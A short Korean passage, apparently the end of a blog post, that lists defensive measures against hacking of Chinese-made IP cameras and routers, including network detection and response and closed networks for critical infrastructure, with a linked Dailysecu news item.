> 국제 협력을 통해 백도어 문제를 해결하고, 공통 표준을 수립해 신뢰성을 확보

④ 기술적 대책 마련
> 'AI 또는 고급분석 기법 기반의 NDR' 기술을 도입해, 비정상적인 네트워크 트래픽을 실시간 탐지 및 대응 시스템을 구축
> 국가중요기반시설에는 독립적이고 폐쇄된 네트워크를 운영해 외부 해킹 가능성을 차단하고, 백도어를 탐지할 수 있는 전문 솔루션을 적용
기타 -

 

보안뉴스

 

중국산 IT기기 해킹사고에 따른 4가지 대응방안 - 데일리시큐

최근 국내 IP카메라의 80%를 차지하는 중국산 IP카메라 보안 문제가 사회 이슈화된 가운데, 일반 가정 뿐 아니라 기업, 정부기관에서 사용중인 중국산 Wi-Fi 공유기·IP캠·IT기기를 노리는 해킹이 늘

www.dailysecu.com

+ Recent posts